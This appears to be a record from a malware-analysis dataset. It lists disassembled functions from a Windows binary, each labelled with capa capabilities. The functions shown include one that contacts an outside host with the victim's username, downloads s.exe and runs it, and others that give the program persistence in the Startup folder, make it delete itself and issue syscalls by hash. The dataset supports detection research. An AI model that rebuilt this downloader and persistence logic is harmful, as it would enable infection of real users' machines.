joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140009590]
mov dword [rax], 1
mov rax, qword [0x1400095a0]
mov dword [rax], 1
mov rax, qword [0x1400095b0]
mov dword [rax], 1
mov rax, qword [0x140009550]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [0x14000e0a0]
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 8], rax
lea rcx, [rbp - 0xc]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140001750
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rdx
mov rax, qword [0x14000e0a0]
mov rdx, qword [rbp + 0x3e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x3c8], rax
mov rax, qword [rbp + 0x3e8]
lea rdx, [0x140009050]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3c0], rax
jmp 0x1400017f1
mov eax, dword [rbp + 0x3bc]
mov ecx, eax
mov rdx, qword [rbp + 0x3c0]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
lea rcx, [rbp + 0x3bc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x3c8]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001826
mov eax, dword [rbp + 0x3bc]
test eax, eax
jne 0x1400017cb
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x450
pop rbp
ret

Function at 0x140001852
Capabilities:
Create http request
Execute command
Query environment variable
Reference http user-agent string

Disassembly:
push rbp
sub rsp, 0x840
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7d0], ecx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.Mozilla_5.0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [0x14000e0a0], rax
lea rax, str.USERNAME
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x7b8], rax
mov ecx, dword [rbp + 0x7d0]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], rdx
mov r9d, ecx
lea r8, str.http:__iamabhi747.helioho.st_asas_ph.php_r_du_s
mov edx, 0x400
mov rcx, rax
call sym.StringCbPrintfA
lea rdx, [rbp + 0x3b0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.get_request
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14000909b]
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strlen
cmp rax, 5
jbe 0x14000194c
lea rax, [rbp + 0x3b0]
lea rdx, str.s.exe
mov rcx, rax
call sym.download
lea rax, str.s.exe
mov rcx, rax
call sym.system
nop
add rsp, 0x840
pop rbp
ret
Function at 0x140001956
Capabilities:
Create process on windows
Self delete

Disassembly:
push rbp
push rdi
sub rsp, 0x408
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
movq qword [rbp - 0x20], xmm0
lea rax, [rbp + 0x270]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x60]
mov r9, rdx
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
mov edx, 0x208
mov rcx, rax
call sym.StringCbPrintfA
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x408
pop rdi
pop rbp
ret

Function at 0x140001ae2
Capabilities:
Copy file
Query environment variable

Disassembly:
push rbp
sub rsp, 0x840
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7d0], ecx
lea rax, [rbp + 0x3b0]
mov r8d, 0x400
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x3b0]
mov edx, 0x5c
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov byte [rax], 0
cmp dword [rbp + 0x7d0], 0
je 0x140001b5c
lea rax, str.ALLUSERSPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x7b8], rax
jmp 0x140001b72
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x7b8], rax
mov rdx, qword [rbp + 0x7b8]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._sMicrosoftWindowsStart_MenuProgramsStartup
mov edx, 0x400
mov rcx, rax
call sym.StringCbPrintfA
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001c05
mov rax, qword [rbp + 0x7b0]
mov byte [rax], 0x5c
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp - 0x50]
lea rdx, str.Win32MessageDemon.exe
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._sMicrosoftWindowsStart_MenuProgramsStartup_s
mov edx, 0x400
mov rcx, rax
call sym.StringCbPrintfA
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x3b0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
call sym.DelMe
nop
add rsp, 0x840
pop rbp
ret

Function at 0x1400020f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140002dc2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000e168]
test eax, eax
je 0x140002e5a
lea rax, [0x14000e140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000e170]
mov qword [rbp - 8], rax
jmp 0x140002e3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002e32
cmp qword [rbp - 0x10], 0
je 0x140002e32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002df8
lea rax, [0x14000e140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002e5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002f60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002f88
mov eax, 0
jmp 0x140002fd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002fb1
mov eax, 0
jmp 0x140002fd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002fd1
mov eax, 0
jmp 0x140002fd6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002fdc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000305a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003051
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003051
mov rax, qword [rbp - 8]
jmp 0x14000306f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003024
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140019430
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14001943d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14001944d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140019435
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140019465
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140019452
sub eax, 3
jb 0x14001947f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400194b6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400194a6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400194a4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140019493
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1400193f2
jmp 0x14001943d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2000
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140019502
cmp rsi, rcx
jae 0x14001950a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400194e9
cmp al, 0x8f
ja 0x1400194e9
cmp byte [rsi - 2], 0xf
je 0x1400194ef
sub al, 0xe8
cmp al, 1
ja 0x1400194d3
cmp rsi, rcx
jae 0x14001950a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400194d9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14001950a
lodsb al, byte [rsi]
jmp 0x1400194e9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x17000]
mov eax, dword [rdi]
or eax, eax
je 0x140019567
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x28308]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140019517
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140019561
mov qword [rbx], rax
add rbx, 8
jmp 0x140019537
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400195a1
cmp al, 0xef
ja 0x140019593
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140019573
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140019582
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400195f5
sub rsp, 0xffffffffffffff80
jmp 0x140001150
Function at 0x14000147f
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000e1f0]
mov dword [rax], 1
mov rax, qword [0x14000e200]
mov dword [rax], 1
mov rax, qword [0x14000e210]
mov dword [rax], 1
mov rax, qword [0x14000e1b0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d0
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400014fc
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001522
cmp eax, 0x20b
je 0x140001549
jmp 0x140001578
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001535
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001564
mov eax, 0
jmp 0x14000157d
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157d
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001ca4
Capabilities:
Write file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, qword [sym.imp.ucrtbase.dll___acrt_iob_func]
xor ebx, ebx
mov rsi, rcx
mov rdi, rdx
lea r12, [rsp + 0x20]
mov ecx, 1
cmp rbx, rdi
jl 0x140001d01
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x14000d19c]
mov r9, rax
call sub.ucrtbase.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp 0x14000bbe8
call rbp
xor r8d, r8d
mov rdx, r12
mov rcx, rax
mov rax, rbx
shl rax, 4
movups xmm0, xmmword [rsi + rax]
movaps xmmword [rsp + 0x20], xmm0
call fcn.140001b7e
mov rax, qword [0x14000e310]
cmp byte [rax], 0
jne 0x140001d32
inc rbx
jmp 0x140001cc2
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001e40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140001e5f
mov rcx, rdx
call sub.ucrtbase.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.ucrtbase.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp 0x14000bbe8

Function at 0x140002f5a
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov rsi, rcx
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov edx, 1
mov rbx, rax
mov r9, rax
call sub.ucrtbase.dll_fwrite
mov rcx, rbx
add rsp, 0x38
pop rbx
pop rsi
jmp 0x14000bbe8
jmp qword [sym.imp.ucrtbase.dll_fflush]
Function at 0x140002f99
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
cmp qword [0x1400120e8], 0
jne 0x140002faf
add rsp, 0x40
pop rbx
jmp fcn.140002f5a
lea rbx, [rsp + 0x30]
mov rdx, rcx
mov rcx, rbx
call fcn.140002ed3
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
call qword [0x1400120e8]
mov rcx, rbx
call fcn.140001ea3
cmp byte [0x1400120c0], 0
je 0x140003008
mov rax, qword [0x1400120f0]
lea rcx, [0x1400120f0]
mov byte [0x1400120c0], 0
mov rdx, qword [rax + 0x38]
add rsp, 0x40
pop rbx
jmp fcn.140002224
add rsp, 0x40
pop rbx
ret

Function at 0x1400030e7
Capabilities:
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [sym.imp.ucrtbase.dll___acrt_iob_func]
lea rsi, [0x14000d37f]
mov rbp, qword [rcx]
mov rdi, qword [rcx + 8]
mov ecx, 2
call rbx
lea rdx, str.could_not_load:
mov rcx, rax
call fcn.140001e40
test rbp, rbp
je 0x140003123
lea rsi, [rdi + 8]
mov ecx, 2
call rbx
mov rdx, rsi
mov rcx, rax
call fcn.140001e40
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xc1
jne 0x140003158
mov ecx, 2
call rbx
lea rdx, str._n_bad_format__library_may_be_wrong_architecture_
mov rcx, rax
call fcn.140001e40
mov ecx, 2
call rbx
lea rdx, [0x14000d3c2]
mov rcx, rax
call fcn.140001e40
mov ecx, 1
call sub.ucrtbase.dll_exit
nop

Function at 0x140003179
Capabilities:
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov rsi, rcx
mov ecx, 2
call rbx
lea rdx, str.could_not_import:
mov rcx, rax
call fcn.140001e40
mov ecx, 2
call rbx
mov rdx, rsi
mov rcx, rax
call fcn.140001e40
mov ecx, 2
call rbx
lea rdx, [0x14000d3c2]
mov rcx, rax
call fcn.140001e40
mov ecx, 1
call sub.ucrtbase.dll_exit
nop

Function at 0x140003876
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp byte [0x1400120c0], 0
je 0x1400038ad
mov rcx, qword [0x1400120f0]
test rcx, rcx
je 0x1400038ad
call fcn.140003851
lea rcx, [0x1400120f0]
xor edx, edx
call fcn.14000207d
mov ecx, 1
call sub.ucrtbase.dll_exit
nop
add rsp, 0x28
ret
push rbx
sub rsp, 0x30
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14000332a
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [0x140012300], xmm0
call fcn.140004018
mov rbx, qword [0x14000e310]
cmp byte [rbx], 0
jne 0x140004722
lea rcx, [0x14000d7e0]
call fcn.1400042ae
cmp byte [rbx], 0
jne 0x140004722
lea rcx, [0x140012300]
call fcn.1400034d1
nop
add rsp, 0x30
pop rbx
jmp 0x140003876
sub rsp, 0x28
call fcn.1400046b4
nop
add rsp, 0x28
jmp 0x1400046d6
Function at 0x140004018
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
xor esi, esi
lea rdi, str.ntdll.dll
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x10]
xor eax, eax
mov rbp, qword [rbx + 0x30]
test rbp, rbp
je 0x1400040a9
movsxd rax, dword [rbp + 0x3c]
add rax, rbp
jo 0x140004066
movsxd rax, dword [rax + 0x88]
test eax, eax
je 0x140004089
add rax, rbp
jno 0x14000407b
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.140001f10
movsxd rcx, dword [rax + 0xc]
mov rsi, rax
add rcx, rbp
jno 0x140004091
jmp 0x140004066
mov rbx, qword [rbx]
mov rax, rbp
jmp 0x140004044
cmp rcx, rdi
je 0x1400040ac
test rcx, rcx
je 0x14000408c
mov rdx, rdi
call sub.ucrtbase.dll_strcmp
test eax, eax
jne 0x14000408c
jmp 0x1400040ac
mov rbp, rax
movsxd rdi, dword [rsi + 0x1c]
mov r14d, dword [rsi + 0x18]
add rdi, rbp
jo 0x140004066
movsxd rax, dword [rsi + 0x20]
add rax, rbp
jo 0x140004066
movsxd rsi, dword [rsi + 0x24]
mov ebx, dword [rax]
add rsi, rbp
jo 0x140004066
mov r13, qword [0x14000e310]
xor r12d, r12d
mov r15d, 0x80000000
cmp r12d, r14d
jle 0x140004126
xor eax, eax
mov r9d, 1
lea r8, [rsp + 0x50]
mov rdx, qword [0x140012300]
mov qword [rsp + 0x68], rax
lea rax, [0x140003f30]
mov qword [rsp + 0x60], rax
mov rax, qword [0x140012308]
movaps xmm1, xmmword [rsp + 0x60]
lea rcx, [rax + 8]
movaps xmmword [rsp + 0x50], xmm1
call fcn.140003d8b
jmp 0x1400041fa
movsxd rdx, ebx
mov rax, rbp
add rax, rdx
mov qword [rsp + 0x28], rax
jo 0x140004066
mov bx, word [rsi]
cmp byte [r13], 0
mov word [rsp + 0x36], bx
jne 0x1400041fa
test rax, rax
je 0x140004164
mov rcx, rax
mov qword [rsp + 0x38], rdx
call sub.ucrtbase.dll_strlen
mov rdx, qword [rsp + 0x38]
lea rbx, [rax + 1]
mov ecx, 0xffffffff
movsxd rbx, ebx
add rbx, rdx
lea rax, [rbx + r15]
cmp rcx, rax
jb 0x140004066
mov rcx, qword [rsp + 0x28]
lea rdx, [0x14000d7ca]
add rsi, 2
call fcn.140003a10
cmp byte [r13], 0
jne 0x1400041fa
test al, al
je 0x1400041e5
mov rcx, qword [rsp + 0x28]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
call fcn.140003fd3
cmp byte [r13], 0
jne 0x1400041fa
movzx edx, word [rsp + 0x36]
mov qword [rsp + 0x60], rax
lea rcx, [0x140012300]
mov edx, dword [rdi + rdx*4]
mov dword [rsp + 0x68], edx
movaps xmm2, xmmword [rsp + 0x60]
lea rdx, [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm2
call fcn.140003359
cmp r12d, 0x7fffffff
je 0x140004066
inc r12d
jmp 0x1400040dd
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000420b
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
sub rsp, 0x20
mov rcx, 0xdc07230
call fcn.140003f42
add rsp, 0x20
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x140004233
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
sub rsp, 0x20
mov rcx, 0x2421bd37
call fcn.140003f42
add rsp, 0x20
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret
Function at 0x14000425b
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
sub rsp, 0x20
mov rcx, 0xd0d9f24
call fcn.140003f42
add rsp, 0x20
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x140004283
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
sub rsp, 0x20
movabs rcx, 0xdb05a7f6
call fcn.140003f42
add rsp, 0x20
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x1400046d6
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp byte [0x1400120c0], 0
je 0x1400038ad
mov rcx, qword [0x1400120f0]
test rcx, rcx
je 0x1400038ad
call fcn.140003851
lea rcx, [0x1400120f0]
xor edx, edx
call fcn.14000207d
mov ecx, 1
call sub.ucrtbase.dll_exit
nop
add rsp, 0x28
ret
push rbx
sub rsp, 0x30
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14000332a
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [0x140012300], xmm0
call fcn.140004018
mov rbx, qword [0x14000e310]
cmp byte [rbx], 0
jne 0x140004722
lea rcx, [0x14000d7e0]
call fcn.1400042ae
cmp byte [rbx], 0
jne 0x140004722
lea rcx, [0x140012300]
call fcn.1400034d1
nop
add rsp, 0x30
pop rbx
jmp 0x140003876
sub rsp, 0x28
call fcn.1400046b4
nop
add rsp, 0x28
jmp 0x1400046d6

Function at 0x14000472e
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp byte [0x1400120c0], 0
je 0x1400038ad
mov rcx, qword [0x1400120f0]
test rcx, rcx
je 0x1400038ad
call fcn.140003851
lea rcx, [0x1400120f0]
xor edx, edx
call fcn.14000207d
mov ecx, 1
call sub.ucrtbase.dll_exit
nop
add rsp, 0x28
ret
push rbx
sub rsp, 0x30
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14000332a
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [0x140012300], xmm0
call fcn.140004018
mov rbx, qword [0x14000e310]
cmp byte [rbx], 0
jne 0x140004722
lea rcx, [0x14000d7e0]
call fcn.1400042ae
cmp byte [rbx], 0
